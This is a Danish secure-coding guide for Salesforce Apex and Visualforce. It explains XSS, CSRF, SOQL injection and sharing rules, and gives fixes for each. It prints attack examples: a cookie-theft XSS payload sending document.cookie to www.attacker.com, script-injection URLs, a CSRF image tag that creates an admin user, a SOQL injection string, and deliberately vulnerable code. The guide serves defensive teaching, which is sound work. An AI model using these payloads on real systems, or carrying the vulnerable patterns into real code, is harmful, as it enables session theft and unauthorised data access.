breadcrumbDescription
Sikkerhedsretningslinjer for Apex- og Visualforce-udvikling
Forstå og beskyt mod sårbarheder i din kode, mens du udvikler tilpassede applikationer.
EditionsHeading
| Tilgængelig i: Salesforce Classic |
Tilgængelig i: Group, Professional, Enterprise, Performance, Unlimited, Developer og Database.com Edition Visualforce er ikke tilgængelig i Database.com. |
Forståelse af sikkerhed
Den effektive kombination af Apex- og Visualforce-sider tillader Lightning-platformsudviklere at levere tilpasset funktionalitet og forretningslogik til Salesforce eller at oprette et nyt enkeltstående produkt, der kører i Lightning-platformen. Men som med ethvert programmeringssprog, skal udviklere være opmærksomme på potentielle sikkerhedsrelaterede fejl.
Salesforce har indarbejdet flere sikkerhedsbeskyttelser i Lightning-platformen. Men omhyggelige udviklere kan stadig tilsidesætte de indbyggede forsvar og derefter vise deres applikationer og kunder til sikkerhedsrisici. Mange af de kodningsfejl, som en udvikler kan lave på Lightning-platformen, minder om sikkerhedssårbarhederne for generelle webapplikationer, mens andre er entydige for Apex.
Hvis du vil certificere en applikation til AppExchange, er det vigtigt for udviklere at lære og forstå de beskrevne sikkerhedsfejl. Hvis du ønsker yderligere oplysninger, kan du se siden Lightning på Salesforce-udviklere. https://developer.salesforce.com/page/Security.
Cross-Site Scripting (XSS)
XSS-angreb (Cross-Site Scripting) er de steder, hvor ondsindet HTML eller scripting på klientsiden leveres til en webapplikation.
Webapplikationen inkluderer ondsindet scripting som svar på en bruger, der ukendt bliver offeret for angrebet. Angriberen brugte webapplikationen som et mellemled i angrebet og drage fordel af offerets Trust til webapplikationen. De fleste applikationer, der viser dynamiske websider uden korrekt validering af dataene, er sandsynligvis sårbare. Angreb mod websitet er især nemt, hvis input fra en bruger er beregnet til at blive vist for en anden bruger. Visse indlysende muligheder omfatter opslagstavler eller websites med brugerkommentarer, nyheder eller mailarkiver.
Lad os f.eks. antage, at dette script er inkluderet i en Lightning-platformsside, der bruger en scriptkomponent, en on*-begivenhed eller en Visualforce-side.
<script>var foo = '{!$CurrentPage.parameters.userparam}';</script>Denne scriptblok indsætter værdien for det brugerleverede userparam på siden. Angriberen kan derefter angive denne værdi for userparam.
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2I denne situation sendes alle cookies for den aktuelle side til www.attacker.com som forespørgselsstrengen i anmodningen til cookie.cgi -scriptet. På dette tidspunkt har angriberen offerets sessionscookie og kan forbinde til webapplikationen, som om pågældende angriber var offeret.
Angriberen kan sende et ondsindet script ved brug af et website eller mail. Webapplikationens bruger ser ikke kun angriberens input, men deres browser kan udføre angriberens script i en betroet kontekst. Med denne mulighed kan angriberen udføre en lang række forskellige angreb mod offeret. Disse angreb strækker sig fra simple handlinger, såsom åbning og lukning af vinduer, til mere ondartede angreb, såsom tyveri af data eller sessionscookies, der giver angriberen mulighed for fuld adgang til offerets session.
Hvis du ønsker flere oplysninger om denne type angreb:
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/xss-faq.html
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
I Lightning-platformen er der flere anti-XSS-adgreber. Salesforce har f.eks. filtre, der udviser skadlige tegn i de fleste outputmetoder. For udvikleren, der bruger standardklasser og outputmetoder, reduceres trusler af XSS-fejl meget. Men den reklamemæssige udvikler kan stadig finde metoder til bevidst at tilsidesætte standardkontrollerne.
Eksisterende beskyttelse
Alle Visualforce-standardkomponenter, som begynder med <apex>, har anti-XSS-filtre implementeret til at screene for skadelige tegn. Denne kode er normalt sårbar over for et XSS-angreb, fordi den tager brugerangivne input og genererer det direkte tilbage til brugeren, men <apex:outputText> -tagget er XSS-sikret. Alle tegn, der viser sig at være HTML-tags, bliver konverterede til deres bogstavelige form. F.eks. konverteres <-tegnet til <, så der vises en ordret < på brugerens skærm.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>Programmering af elementer, der ikke er beskyttet mod XSS
Tilpasset JavaScript-kode og kode i komponenterne <apex:includeScript> har ikke indbyggede XSS-beskyttelser. Disse elementer giver udvikleren mulighed for at tilpasse siden med scriptkommandoer. Det giver ikke mening at medtage XSS-filtre på kommandoer, der med hensigt føjes til en side.
Tilpasset JavaScript
Hvis du skriver dit eget JavaScript, har Lightning-platformen ingen mulighed for at beskytte dig. Denne kode er f.eks. sårbar over for XSS, hvis den bruges i JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script><apex:includeScript>
Med <apex:includeScript> Visualforce-komponenten kan du inkludere et tilpasset script på siden. Sørg for at validere, at indholdet er sikkert og ikke indeholder nogen brugerleverede data. Dette kodestykke er f.eks. sårbart, fordi det indeholder brugerangivne input som værdien af scriptteksten. Værdien leveret af tagget er en URL til JavaScriptet til at inkludere. Hvis en angriber kan levere arbitriske data til denne parameter som i eksemplet, kan vedkommende dirigere offeret til at inkludere enhver JavaScript-fil fra et andet website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />Formeltags
Den generelle syntaks for disse tags er: {!FUNCTION()} eller {!$OBJECT.ATTRIBUTE}. Hvis en udvikler f.eks. ønsker at inkludere en brugers sessions-id i et link, kan vedkommende oprette linket ved brug af denne syntaks.
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>Og det gengives som dette output.
<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>Formeludtryk kan være funktionskald eller kan inkludere oplysninger om platformsobjekter, et brugers miljø, et systemmiljø og anmodningsmiljøet. En vigtig funktion i disse udtryk er, at data ikke escapes under visning. Da udtryk gengives på serveren, er det ikke muligt at escape gengivne data på klienten ved brug af JavaScript eller anden teknologi på klientsiden. Det kan være farligt, hvis formeludtrykket refererer til ikke-systemdata, der er renset eller kan redigeres, og udtrykket ikke er indpakket i en funktion for at escape output under visning. En almindelig sårbarhed oprettes ved brug af udtrykket {!$Request.*} til at få adgang til anmodningsparametre.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>Desværre resulterer det ikke-escapede {!$Request.title} også i en sårbarhed for cross-site scripting. For eksempel resulterer denne anmodning:
https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3Ei outputtet:
<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>Standardmekanismen til at udføre serverside escaping er via brug af SUBSTITUTE()-tagget SUBSTITUTE(). Givt placeringen af udtrykket {!$Request.*} i eksemplet, kan det beskrevne angreb forhindres ved at bruge disse indbyggede SUBSTITUTE() -kald.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>Afhængig af placeringen af tagget og anvendelsen af dataene kan de tegn, der skal escapes, og deres escape-modstykker variere. Eksempel: Denne erklæring:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>kræver, at dobbelt anførselstegn escapes med dets URL-kodede ækvivalent på %22 i stedet for det HTML escaped ", fordi det sandsynligvis bruges i et link. Ellers ville anmodningen:
https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2Fresultere i:
<script>var ret = "foo";alert('xss');//";</script>Variablen ret skal nogle gange have yderligere escaping senere på siden, hvis den bruges på en måde, der kan medføre, at inkluderede HTML-kontroltegn bliver tolket.
Formel-tags kan også anvendes til at inkludere platformsobjektdata. Selvom dataene tages direkte fra brugerens organisation, skal de stadig escapes, før de bruges til at forhindre brugere i at køre kode i konteksten af andre brugere, som f.eks. dem med højere tilladelsesniveauer. Det er kun brugere i den samme organisation, der kan udføre disse typer angreb. Disse angreb underminerer brugerroller og reducerer integriteten af revisionsregistreringer. Data kan importeres fra eksterne kilder og ikke afvises for ondsindet indhold.
CSRF (Cross-Site Request Forgery; Tværgående anmodningsforfalskning)
CSRF-fejl (Cross-Site Request Forgery - CSRF) er mindre en programmeringsfejl og mere mere mangel på en afholdelse.
F.eks. har en angriber en webside på www.attacker.com, der kan være en hvilken som helst webside, herunder en, der giver værdifulde tjenester eller oplysninger, der fører trafik til denne lokalitet. Et eller andet sted på angriberens side er der et HTML-tag, der ser sådan ud:
<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />Med andre ord, indeholder angriberens side en URL, der udfører en handling på dit website. Hvis brugeren stadig er logget på din webside, når de besøger angriberens webside, hentes URL'en og handlingerne udføres. Dette angreb lykkes, fordi brugeren stadig er godkendt på din webside. Dette er et enkelt eksempel, og angriberen kan få mere kreativitet ved at bruge scripts til at generere tilbagekaldsanmodningen eller endda bruge CSRF-angreb mod dine AJAX-metoder.
Hvis du ønsker flere oplysninger og traditionelle forsvar:
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- http://www.cgisecurity.com/csrf-faq.html
- http://shiflett.org/articles/cross-site-request-forgeries
I Lightning-platformen implementerede Salesforce et anti-CSRF-token for at forhindre et sådant angreb. Hver side inkluderer en vilkårlig tegnstreng som et skjult formularfelt. Ved næste sideindlæsning kontrollerer applikationen gyldigheden af denne tegnstreng og udfører ikke kommandoen, medmindre værdien matcher den forventede værdi. Denne funktion beskytter dig, når alle standardcontrollere og metoder benyttes.
Her kan udvikleren igen omgå de indbyggede forsvar uden at forstå risikoen. En tilpasset controller tager f.eks. objekt-id'et som en inputparameter og bruger derefter denne inputparameter i et SOQL-kald.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
Udvikleren tilsidesatte ukendte anti-CSRF-kontrollerne ved at udvikle sin egen handlingsmetode. id-parameteren læses og bruges i koden. Anti-CSRF-token bliver aldrig læst eller valideret. En angreberwebside kan sende brugeren til denne side ved brug af et CSRF-angreb og angive en værdi for id -parameteren.
Der er ingen indbyggede forsvar for sådanne situationer, og udviklere skal være forsigtige med at skrive sider, der handler på basis af en brugerleveret parameter, f.eks. variablen id i det foregående eksempel. En mulig løsning er at indsætte en midlertidig bekræftelsesside, før du foretager en handling for at sikre, at brugeren har til hensigt at kalde siden. Andre forslag omfatter afkortning af den ledige sessionstimeout og informerelse af brugere om at logge ud af deres aktive session og ikke bruge deres browser til at besøge andre lokaliteter, mens de er godkendt.
På grund af den indbyggede Salesforce-beskyttelse mod CSRF, kan dine brugere støde på en fejl, når der åbnes flere Salesforce-loginsider. Hvis brugeren logger på Salesforce på en fane og derefter forsøger at logge på en anden, får han eller hun vist denne fejl: Den side, du indsendte, var ugyldig for din session. Brugerne kan logge ind ved at opdatere loginsiden eller ved at forsøge at logge ind endnu en gang.
SOQL-injektion
På andre programmeringssprog er denne tidligere fejl kendt som SQL-injektion.
Apex bruger ikke SQL, men bruger sit eget databaseforespørgselssprog, SOQL. SOQL er meget mere enkel og mere begrænset i sin funktionalitet end SQL. Risikoerne er meget lavere for SOQL-injicering end for SQL-injicering, men angrebet er næsten identiske med traditionel SQL-injicering. SQL/SOQL-injicering tager brugerangivne input og bruger disse værdier i en dynamisk SOQL-forespørgsel. Hvis inputtet ikke er valideret, kan det inkludere SOQL-kommandoer, der effektivt redigerer SOQL-erklæringen og får applikationen gjort det muligt at udføre utilsigtede kommandoer.
Sårbarheder med SOQL-injicering i Apex
Her er et enkelt eksempel på Apex- og Visualforce-kodesårbarheder for SOQL-injicering.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
List<Contact> queryResult = Database.query(qryString);
System.debug('query result is ' + queryResult);
return null;
}
}
Dette enkle eksempel illustrerer logikken. Koden er beregnet til at søge efter kontakter, der ikke er slettet. Brugeren leverer en inputværdi kaldet name. Værdien kan være alt, hvad der angives af brugeren, og den valideres aldrig. SOQL-forespørgslen er bygget dynamisk og derefter udført med Database.query-metoden. Hvis brugeren angiver en gyldig værdi, kører erklæringen som forventet.
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')Men hvad nu, hvis brugeren leverer et uventet input, f.eks.:
// User supplied value for name: test%') OR (Name LIKE 'I så tilfælde bliver forespørgselsstrengen:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')Nu viser resultaterne alle kontakter, ikke kun de kontakter, der ikke er slettede. En SOQL-injektionsfejl kan anvendes til at ændre hensigten med logikken for alle sårbare forespørgsler.
Forsvar mod SOQL-injektion
For at forhindre et SOQL-injektionsangreb, skal du undgå at bruge dynamiske SOQL-forespørgsler. Brug i stedet for statiske forespørgsler og bindende variabler. Det foregående sårbare eksempel kan skrives igen ved brug af statisk SOQL.
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
List<Contact> queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
System.debug('query result is ' + queryResult);
return null;
}
}Hvis du skal bruge dynamisk SOQL, så brug escapeSingleQuotes-metoden til at sanere brugerleveret input. Denne metode tilføjer escape-tegnet (\) til alle enkle anførselstegns markeringer i en streng, der er indsat fra en bruger. Metoden sikrer, at alle enkle anførselstegns markeringer bliver behandlet som omgivende strenge i stedet for som databasekommandoer.
Dataadgangskontrol
Lightning-platformen gør omfattende brug af datadelingsregler. Hvert objekt har tilladelser og kan have delingsindstillinger, som brugere kan læse, oprette, redigere og slette. Disse indstillinger bliver håndhævet, når alle standardcontrollere anvendes.
Når du bruger en Apex-klasse, respekteres de indbyggede brugertilladelser og sikkerhedsbegrænsninger på feltniveau ikke under kørsel. Standardadfærden er, at en Apex-klasse kan læse og opdatere alle data. Da disse regler ikke håndhæves, skal udviklere, der bruger Apex, undgå at ved et uheld vise følsomme data, der normalt er skjult for brugere af brugertilladelser, sikkerhed på feltniveau eller standarder, især for Visualforce-sider. Overvej f.eks. denne Apex-pipelinekode.
public class customController {
public void read() {
Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}
}
I dette tilfælde søges der efter alle kontaktregistreringer, også selvom brugeren, der er logget ind, normalt ikke ville have tilladelse til at se disse registreringer. Løsningen er at anvende de kvalificerende nøgleord with sharing, når klassen erklæres:
public with sharing class customController {
. . .
}
Nøgleordet with sharing fører platformen til at bruge tilladelserne for sikkerhedsdeling med den bruger, der aktuelt er logget ind, i stedet for at give fuld adgang til alle registreringer.
